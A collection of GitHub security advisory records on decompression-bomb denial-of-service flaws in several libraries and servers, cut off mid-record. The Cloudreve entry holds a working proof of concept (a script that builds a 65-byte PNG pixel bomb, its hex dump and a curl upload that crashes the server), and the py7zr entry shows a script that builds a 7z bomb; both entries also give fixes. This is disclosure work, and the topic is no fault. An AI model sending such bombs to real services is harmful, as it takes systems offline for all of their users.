CWE-409

{
  "affected": [],
  "aliases": [
    "CVE-2026-18929"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-18T10:16:46Z",
    "severity": "MODERATE"
  },
  "details": "Carbone is vulnerable to Denial of Service due to lack of protection against zip bombs when processing .docx files. The library uses yazl for zip decompression without validating entry sizes, allowing an attacker to supply a malicious .docx file containing a zip bomb that decompresses to a significantly larger size, causing excessive memory consumption and crashing the application server.\n\n\n\n\nThe issue was fixed in versions: 3.8.2, 4.26.3 and 5.4.4.\u00a0\u00a0The fix is available across all distribution types.",
  "id": "GHSA-g3fg-g325-xmh2",
  "modified": "2026-08-18T12:31:20Z",
  "published": "2026-08-18T12:31:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18929"
    },
    {
      "type": "WEB",
      "url": "https://github.com/carboneio/carbone/commit/eb9b4cff992cc1cb1a319d7fc0cbd09160dc214e"
    },
    {
      "type": "WEB",
      "url": "https://carbone.io"
    },
    {
      "type": "WEB",
      "url": "https://cert.pl/en/posts/2026/08/CVE-2026-18929"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4k:http4k-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0.0"
            },
            {
              "fixed": "6.49.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4k:http4k-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0.0"
            },
            {
              "fixed": "5.42.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4k:http4k-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "4.48.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53659"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-17T21:52:27Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\n\n`ServerFilters.GZip` and `RequestFilters.GunZip` (and the underlying `Gzip` functions used to decompress request bodies) did not impose any cap on the decompressed size. A small malicious gzip-encoded request body (on the order of kilobytes) could decompress to gigabytes, exhausting the JVM heap and denying service to other clients.\n\n**Who is affected:** any http4k server that accepts gzip-encoded requests via `ServerFilters.GZip` or `RequestFilters.GunZip`. Exploitable by any unauthenticated client. The vulnerability was introduced on 2017-08-01 (commit `2618fe08f9`) and was present for ~9 years.\n\n### Patches\n\n| Line | Fixed in | Edition |\n|------|----------|---------|\n| v6.x (Community) | **6.49.0.0** | Community |\n| v5.x (LTS) | **5.42.0.0** | Enterprise \u2014 contact [enterprise@http4k.org](mailto:enterprise@http4k.org) |\n| v4.x (LTS) | **4.51.0.0** | Enterprise \u2014 contact [enterprise@http4k.org](mailto:enterprise@http4k.org) |\n\nThe fix caps decompression at 10MB by default; oversized requests through `ServerFilters.GZip` / `RequestFilters.GunZip` now return `413 Request Entity Too Large`, and decompressing elsewhere throws `SizeLimitExceededException`. The keyed `hmacSHA256` helper and other safe paths are unaffected.\n\n### Workarounds\n\nFor deployments that cannot upgrade immediately:\n- Replace the `GZip` / `GunZip` filters with custom versions that wrap the decompressed `InputStream` in a size-limited reader, or\n- Strip gzip-encoded request support at the edge (CDN, reverse proxy, or load balancer).\n\n### References\n\n- Vulnerability introduced: [`2618fe08f9`](https://github.com/http4k/http4k/commit/2618fe08f9)\n- Fix release: [v6.49.0.0](https://github.com/http4k/http4k/releases/tag/6.49.0.0)\n- Background: [CWE-409 \u2014 Improper Handling of Highly Compressed Data](https://cwe.mitre.org/data/definitions/409.html)",
  "id": "GHSA-g4w2-6h2r-3m3w",
  "modified": "2026-08-17T21:58:23Z",
  "published": "2026-08-17T21:52:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/http4k/http4k/security/advisories/GHSA-g4w2-6h2r-3m3w"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/http4k/http4k"
    },
    {
      "type": "WEB",
      "url": "https://github.com/http4k/http4k/releases/tag/6.49.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "http4k: Unbounded gzip decompression in `ServerFilters.GZip` / `RequestFilters.GunZip` allowed memory-exhaustion DoS"
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-55909"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-02T01:15:52Z",
    "severity": "MODERATE"
  },
  "details": "IBM Concert Software 1.0.0 through 1.0.5 could allow an authenticated user to cause a denial of service due to the expansion of archive files without controlling resource consumption.",
  "id": "GHSA-g5c7-6mfq-qvc9",
  "modified": "2025-05-02T03:30:34Z",
  "published": "2025-05-02T03:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55909"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7232169"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cloudreve/Cloudreve/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.0-20260613024411-3607f79bb44c"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cloudreve/Cloudreve/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.0.0-20250225100611-da4e44b77af4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55497"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T20:48:10Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nCloudreve\u0027s built-in image processor decodes user-supplied images with Go\u0027s standard-library decoders (`image/png`, `image/jpeg`, `image/gif`) and guards **only the compressed file size** \u2014 never the *decoded* pixel dimensions. Go\u0027s decoders allocate a pixel buffer sized `bytesPerPixel \u00d7 width \u00d7 height` taken straight from the image header (e.g. a PNG\u0027s IHDR), with no upper bound on `width`/`height`. A tiny (tens-of-bytes) image that *declares* enormous dimensions therefore forces a multi-gigabyte-to-terabyte allocation (`make([]uint8, \u2026)`), exhausting memory. The resulting out-of-memory condition is a **fatal Go runtime error / kernel OOM-kill that `recover()` cannot catch**, terminating the whole Cloudreve process for all users.\n\nTwo reachable sinks share the same root cause:\n\n1. **Avatar upload** (`PUT /api/v4/user/setting/avatar`) \u2014 decodes synchronously in the request handler. Any authenticated user. **Cleanest single-request PoC.**\n2. **Thumbnail generation** (built-in generator, **enabled by default**) \u2014 decodes in the thumbnail queue worker. Reachable for the user\u0027s own files *and* for files inside a share, so a planted bomb can be (re)triggered through a public share link.\n\nPost-auth, low privilege. A single 65-byte upload deterministically takes the instance offline.\n\n### Details\n### Root cause \u2014 decode guarded by file size, not pixel count\n\nThe built-in generator is the **default** image thumbnailer:\n\n```go\n// inventory/setting.go  @ 26b6b10\n\"thumb_builtin_enabled\":   \"1\",         // ON by default\n\"thumb_builtin_max_size\":  \"78643200\",  // 75 MB \u2014 a *file size* cap\n\"thumb_vips_enabled\":      \"0\",         // libvips (which has its own limits) OFF by default\n...\n\"avatar_size\":             \"4194304\",   // 4 MB \u2014 a *file size* cap\n```\n`Builtin.Generate` checks the on-disk/entity size, then hands the raw bytes to the stdlib decoders:\n\n```go\n// pkg/thumb/builtin.go:144-152  @ 26b6b10\nfunc (b Builtin) Generate(ctx context.Context, es entitysource.EntitySource, ext string, previous *Result) (*Result, error) {\n    if es.Entity().Size() \u003e b.settings.BuiltinThumbMaxSize(ctx) {   // 75 MB compressed-size check ONLY\n        return nil, fmt.Errorf(\"file is too big: %w\", ErrPassThrough)\n    }\n    img, err := NewThumbFromFile(es, ext)   // \u003c-- decode; allocation happens here\n    ...\n}\n\n// pkg/thumb/builtin.go:34-60  @ 26b6b10\nfunc NewThumbFromFile(file io.Reader, ext string) (*Thumb, error) {\n    switch ext {\n    case \"jpg\", \"jpeg\": img, err = jpeg.Decode(file)\n    case \"gif\":         img, err = gif.Decode(file)\n    case \"png\":         img, err = png.Decode(file)   // \u003c-- unbounded allocation\n    ...\n    }\n}\n```\n\nThere is **no `image.DecodeConfig` pre-check** and **no dimension/pixel cap** anywhere on the path. The only `Bounds()`/`MaxWidth` references in the package (`builtin.go:70,92,125`, `avatar_size_l=200`) act on the *already-decoded* image and are the *output* resize target \u2014 they execute long after the oversized input buffer has been allocated.\n\n### Why the allocation is unbounded (Go stdlib `image/png`)\n\nGo\u0027s PNG reader takes the dimensions verbatim from IHDR and rejects only non-positive values \u2014 there is no maximum:\n\n```go\n// Go src/image/png/reader.go \u2014 parseIHDR\nw := int32(binary.BigEndian.Uint32(d.tmp[0:4]))\nh := int32(binary.BigEndian.Uint32(d.tmp[4:8]))\nif w \u003c= 0 || h \u003c= 0 { return FormatError(\"non-positive dimension\") }   // only guard\nd.width, d.height = int(w), int(h)\n```\n\nOn the first IDAT, `readImagePass` allocates the destination image **before** consuming the compressed pixel data, e.g. for colour-type 6 (RGBA, 8-bit):\n\n```go\n// Go src/image/png/reader.go \u2014 readImagePass\nnrgba = image.NewNRGBA(image.Rect(0, 0, width, height))   // make([]uint8, 4*width*height)\n```\n\n`image.NewNRGBA` \u2192 `pixelBufferLength` \u2192 `mul3NonNeg(4, w, h)` only guards against *integer overflow* (returns \u22121, which panics), not against huge-but-valid sizes. So any `4\u00b7w\u00b7h` that fits in an `int` and is below the runtime\u0027s `maxAlloc` (~2\u2074\u2078 on amd64) proceeds to `make([]uint8, 4\u00b7w\u00b7h)`. The allocation occurs even if the IDAT stream is empty/truncated, so the malicious file needs no real pixel data.\n\n`jpeg.Decode` (allocates the `YCbCr`/`RGBA` buffer from the SOF/SOS dimensions, max 65535\u00d765535 \u2192 up to ~17 GB) and `gif.Decode` (allocates from the logical-screen / frame dimensions) are affected the same way.\n\n### Why this is a fatal crash, not a handled error\n\nFor realistic bomb sizes (GBs\u2013hundreds of GBs, all `\u003c maxAlloc`), `make` proceeds and the process dies by one of:\n- **Kernel OOM-killer** sends SIGKILL when the touched pages can\u0027t be backed \u2014 not catchable by anything; or\n- the Go runtime **`throw(\"out of memory\")`** \u2014 a *fatal* error, **not** a recoverable `panic`, so `gin.Recovery()` does not save it.\n\n(Only the integer-overflow branch yields a recoverable panic; a competent attacker stays in the fatal-OOM regime, as the PoC does.)\n\n### Reachability of each sink\n\n**Avatar (synchronous, in the HTTP handler):**\n\n```go\n// routers/router.go:1269  @ 26b6b10  (under auth.Use(LoginRequired()) \u2192 user group)\nsetting.PUT(\"avatar\", middleware.RequiredScopes(types.ScopeUserInfoWrite), controllers.UploadAvatar)\n\n// service/user/setting.go:158-217  @ 26b6b10\nfunc UpdateUserAvatar(c *gin.Context) error {\n    ...\n    if c.Request.ContentLength == -1 || c.Request.ContentLength \u003e avatarSettings.MaxFileSize { // 4 MB cap\n        return ...CodeFileTooLarge\n    }\n    return updateAvatarFile(c, u, c.GetHeader(\"Content-Type\"), c.Request.Body, avatarSettings)\n}\nfunc updateAvatarFile(...) error {\n    ext := \"png\"\n    switch contentType { case \"image/jpeg\",\"image/jpg\": ext=\"jpg\"; case \"image/gif\": ext=\"gif\" }\n    avatar, err := thumb.NewThumbFromFile(file, ext)   // \u003c-- decode of attacker bytes; no dim check\n    ...\n}\n```\n\nA 65-byte PoC trivially satisfies the 4 MB `ContentLength` cap.\n\n**Thumbnail (queue worker, in-process):** `manager.Thumbnail` \u2192 `SubmitAndAwaitThumbnailTask` \u2192 `generateThumb` \u2192 `pipeline.Generate` (`pkg/filemanager/manager/thumbnail.go:128-145`, `pkg/thumb/pipeline.go:86`). The pipeline tries the **enabled-by-default** built-in generator for `png/jpg/gif` (other generators return `ErrPassThrough` for those extensions). Triggered via `GET /api/v4/file/thumb?uri=\u2026` for the user\u0027s own files, and the same generation runs for files reached through a share (`NavigatorCapabilityGenerateThumb`), so a bomb dropped into a public share can be (re)triggered by an anonymous visitor.\n\n## Proof of Concept\n\n### The bomb (65 bytes \u2014 included as `pixelbomb.png`)\n\nGenerated with:\n\n```python\nimport struct, zlib, binascii\ndef chunk(t,d):\n    c=t+d; return struct.pack(\"\u003eI\",len(d))+c+struct.pack(\"\u003eI\",binascii.crc32(c)\u00260xffffffff)\nsig=b\u0027\\x89PNG\\r\\n\\x1a\\n\u0027\nW,H=0x7FFFFFFF,0x10                       # 2147483647 x 16\nihdr=struct.pack(\"\u003eIIBBBBB\",W,H,8,6,0,0,0)  # 8-bit, colour-type 6 (RGBA)\npng=sig+chunk(b\u0027IHDR\u0027,ihdr)+chunk(b\u0027IDAT\u0027,zlib.compress(b\u0027\u0027))+chunk(b\u0027IEND\u0027,b\u0027\u0027)\nopen(\u0027pixelbomb.png\u0027,\u0027wb\u0027).write(png)\n# Go will attempt make([]uint8, 4*W*H) = 137,438,953,408 bytes (128 GiB)\n```\n\nHex (entire file):\n\n```\n8950 4e47 0d0a 1a0a 0000 000d 4948 4452   .PNG........IHDR\n7fff ffff 0000 0010 0806 0000 0068 bce2   .............h..\ne300 0000 0849 4441 5478 9c03 0000 0000   .....IDATx......\n0148 0689 d200 0000 0049 454e 44ae 4260   .H.......IEND.B`\n82\n```\n(Dimensions are tunable: `4\u00b7W\u00b7H` must stay `\u003c 2\u2076\u00b3` to avoid the overflow\u2192panic branch and `\u003c maxAlloc`. `2147483647 \u00d7 16` \u2192 128 GiB reliably OOM-kills any host; shrink `H` for smaller targets.)\n\n### Trigger (avatar \u2014 single request)\n\n```bash\nbase=https://host/api/v4\ncurl -s -X PUT \"$base/user/setting/avatar\" \\\n     -H \"Authorization: Bearer $TOK\" \\\n     -H \u0027Content-Type: image/png\u0027 \\\n     --data-binary @pixelbomb.png\n```\n\n### Observable result\n\n```\n# Either the kernel OOM-killer terminates the process:\n#   dmesg: \"Out of memory: Killed process \u003cpid\u003e (cloudreve)\"\n# or the Go runtime aborts fatally:\n#   fatal error: runtime: out of memory\n# The Cloudreve process exits; all users get connection-refused until restart.\n```\n## Impact\n\n- **Direct primitive**: full availability loss \u2014 the process aborts, dropping all in-flight requests/sessions for every tenant on the instance.\n- **Persistence / repeatability**: the bomb can be stored (as a file whose thumbnail is generated on demand, or re-uploaded as an avatar), so the instance can be crashed again immediately after each restart; if supervised with auto-restart, the attacker scripts a sustained outage.\n- **Amplification**: each request costs the attacker ~65 bytes but costs the server an attempted multi-GB/TB allocation; trivial to repeat/parallelize.\n- **No special privilege**: any registered user (avatar). The thumbnail sink lets a planted bomb in a public share be re-triggered anonymously.\n\n## Suggested Mitigation\n\nCap **decoded pixel dimensions** before fully decoding, in addition to the existing file-size cap. Use `image.DecodeConfig` (reads only the header) and reject images whose `width \u00d7 height` (or either dimension) exceeds a configurable limit; apply it in `NewThumbFromFile` so both the thumbnail and avatar paths are covered.\n\n```diff\n--- a/pkg/thumb/builtin.go\n+++ b/pkg/thumb/builtin.go\n@@ func NewThumbFromFile(file io.Reader, ext string) (*Thumb, error) {\n-    var err error\n-    var img image.Image\n-    switch ext {\n+    const maxPixels = 50 * 1000 * 1000 // e.g. 50 MP; make configurable\n+    // Peek header-only to reject pixel/decompression bombs before allocation.\n+    var hdrBuf bytes.Buffer\n+    cfg, _, err := image.DecodeConfig(io.TeeReader(file, \u0026hdrBuf))\n+    if err != nil {\n+        return nil, fmt.Errorf(\"failed to read image config: %w (%w)\", err, ErrPassThrough)\n+    }\n+    if int64(cfg.Width)*int64(cfg.Height) \u003e maxPixels {\n+        return nil, fmt.Errorf(\"image dimensions too large (%dx%d): %w\", cfg.Width, cfg.Height, ErrPassThrough)\n+    }\n+    file = io.MultiReader(\u0026hdrBuf, file) // replay consumed header bytes\n+    var img image.Image\n+    switch ext {\n         case \"jpg\", \"jpeg\": img, err = jpeg.Decode(file)\n         case \"gif\":         img, err = gif.Decode(file)\n         case \"png\":         img, err = png.Decode(file)\n```\n\nAdditionally:\n- Apply the same pixel cap to the avatar path (covered automatically if it routes through `NewThumbFromFile`, as it does).\n- Consider running image decoding in a memory-limited child process / with `debug.SetMemoryLimit` + a `GOMEMLIMIT`-aware soft fail so a single decode cannot take down the whole server even if a future decoder lacks a header pre-check.\n\nWhy sufficient: `DecodeConfig` parses only the header (no large allocation), so the oversized buffer is never created; legitimate images decode unchanged.",
  "id": "GHSA-g9j2-8w95-3vwv",
  "modified": "2026-07-24T20:48:10Z",
  "published": "2026-07-24T20:48:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cloudreve/cloudreve/security/advisories/GHSA-g9j2-8w95-3vwv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cloudreve/cloudreve/commit/3607f79bb44c35d0be4fa8b6e24c0502b51415a9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cloudreve/cloudreve"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cloudreve/cloudreve/releases/tag/4.17.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Cloudreve: Denial of Service - Image decompression / pixel bomb in thumbnail \u0026 avatar decoding crashes the server"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-89321"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-14T09:17:01Z",
    "severity": "MODERATE"
  },
  "details": "Publishing limits the compressed size of a VSIX (ovsx.publishing.max-content-size, 512 MB by default) but nothing limited how large an entry becomes when opened.\n\n\n\n\nOn the first request to /vscode/unpkg/{namespace}/{extension}/{version}/{path}, WebResourceService opened the entry with ZipFile.getInputStream() and passed the decompressed stream to Files.copy(), which ran to the end of the stream without counting bytes written. The result was cached under java.io.tmpdir, and that cache evicted by entry count (150), not by size, so it placed no bound on disk usage.\n\n\n\n\nA publisher with access only to their own namespace could therefore upload a small, highly compressible VSIX and cause the server to write far larger files to the temp filesystem \u2014 repeating with different files or versions, since a repeat request is served from the cache.\n\n\n\n\nImpact observed: the temp filesystem filled; requests for files not already cached returned 500 with No space left on device; a failed extraction left a partial cache file that blocked later attempts at that path; publishing failed with Failed to read extension file. Metadata and already-cached files kept working, and the server did not stop.\n\n\n\n\nTriggering the extraction needs no authentication \u2014 only the upload does.",
  "id": "GHSA-ggqm-q66x-mqh3",
  "modified": "2026-09-14T09:31:03Z",
  "published": "2026-09-14T09:31:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/eclipse-openvsx/openvsx/security/advisories/GHSA-h685-gqw7-fqw7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-89321"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eclipse-openvsx/openvsx/pull/2060"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.1.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "py7zr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55195"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T21:16:29Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "py7zr\u0027s `Worker.decompress()` extracts archive entries without tracking total decompressed size. A crafted `.7z` file can exhaust disk or memory before the extraction completes.\n\nMeasured: 15.6 KB archive \u2192 100 MB output (6,556:1 ratio).\n\n**Proof of concept:**\n\n```python\nimport py7zr, tempfile, os\n\n# create bomb: compress 100MB of zeros into ~15KB\nbomb_path = tempfile.mktemp(suffix=\u0027.7z\u0027)\nwith py7zr.SevenZipFile(bomb_path, \u0027w\u0027) as z:\n    import io\n    z.writef(io.BytesIO(b\u0027\\x00\u0027 * 100 * 1024 * 1024), \u0027bomb.bin\u0027)\n\nprint(f\u0027archive size: {os.path.getsize(bomb_path):,} bytes\u0027)\n\n# extract \u2014 no size check\nwith py7zr.SevenZipFile(bomb_path, \u0027r\u0027) as z:\n    z.extractall(path=tempfile.mkdtemp())\n\nprint(\u0027extracted 100 MB from ~15 KB archive\u0027)\n```\n\n**Root cause:** `Worker.decompress()` in `py7zr/worker.py` writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python\u0027s `zipfile` `max_size` parameter.\n\n**Fix:** track cumulative decompressed bytes and raise before writing if a limit is exceeded:\n\n```python\nMAX_EXTRACT_SIZE = 2 * 1024 ** 3  # 2 GB default, configurable\n\ntotal = 0\nfor chunk in decompressed_chunks:\n    total += len(chunk)\n    if total \u003e MAX_EXTRACT_SIZE:\n        raise py7zr.exceptions.DecompressionBombError(\n            f\u0027Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes\u0027\n        )\n    outfile.write(chunk)\n```\n\nTested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.",
  "id": "GHSA-gjrg-mpp7-g774",
  "modified": "2026-06-19T21:16:29Z",
  "published": "2026-06-19T21:16:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/miurahr/py7zr/security/advisories/GHSA-gjrg-mpp7-g774"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/miurahr/py7zr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/miurahr/py7zr/releases/tag/v1.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-15709"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-14T20:16:57Z",
    "severity": "HIGH"
  },
  "details": "A flaw was found in libsoup\u0027s WebSocket implementation when using the permessage-deflate extension. The extension\u0027s decompression loop (inflate()) processes data in chunks without enforcing an upper boundary limit on the output buffer size. While libsoup limits the incoming compressed frame size via max_incoming_payload_size, it fails to track or limit memory allocation during decompression. A separate check for decompressed size (max_total_message_size) exists but executes only after inflation is complete, and it is entirely disabled by default for client connections. A remote, unauthenticated attacker can exploit this by sending a small, highly compressed payload (a decompression bomb), causing unbounded memory allocation that triggers an Out-of-Memory (OOM) crash and a Denial of Service (DoS).",
  "id": "GHSA-gv2g-7h3v-q5f3",
  "modified": "2026-09-24T12:31:20Z",
  "published": "2026-07-14T21:32:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15709"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:68234"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:68235"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:68612"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:69108"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:69297"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:69863"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:70598"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:70599"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:71389"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-15709"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2499922"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.gnome.org/GNOME/libsoup/-/issues/511"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-82864"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-31T09:17:06Z",
    "severity": "HIGH"
  },
  "details": "pdfme pdf-lib versions before 5.5.10 contain an unbounded buffer growth vulnerability in the DecodeStream.ensureBuffer() method that allows attackers to cause denial of service by supplying a crafted PDF with a FlateDecode stream containing a decompression bomb. Attackers can upload a small compressed PDF that decompresses to hundreds of megabytes, exhausting memory and crashing the Node.js process or freezing browser tabs during PDF parsing.",
  "id": "GHSA-gvgq-37w5-4f8q",
  "modified": "2026-08-31T09:30:31Z",
  "published": "2026-08-31T09:30:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pdfme/pdfme/security/advisories/GHSA-vrqm-gvq7-rrwh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-82864"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/pdfme-pdf-lib-before-5.5.10-denial-of-service-via-decompression-bomb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-1947"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-23T11:15:23Z",
    "severity": "MODERATE"
  },
  "details": "A denial of service (DoS) condition was discovered in GitLab CE/EE affecting all versions from 13.2.4 before 16.10.6, 16.11 before 16.11.3, and 17.0 before 17.0.1. By leveraging this vulnerability an attacker could create a DoS condition by sending crafted API calls.",
  "id": "GHSA-h2fc-m4gm-6mg8",
  "modified": "2024-05-23T12:31:02Z",
  "published": "2024-05-23T12:31:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1947"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/2380264"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/443559"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-103262"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-01T11:17:21Z",
    "severity": "HIGH"
  },
  "details": "Tornado versions before 6.5.9 contain an unbounded memory accumulation vulnerability in CurlAsyncHTTPClient that allows remote attackers to cause denial of service by sending a compressed response. Attackers can send a gzip-encoded decompression bomb that accumulates in memory without size limits, causing the application process to be killed by out-of-memory conditions.",
  "id": "GHSA-h36x-fm6v-f9vx",
  "modified": "2026-10-01T12:31:16Z",
  "published": "2026-10-01T12:31:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tornadoweb/tornado/security/advisories/GHSA-chx6-46f5-w4vp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-103262"
    },
    {
      "type": "WEB",
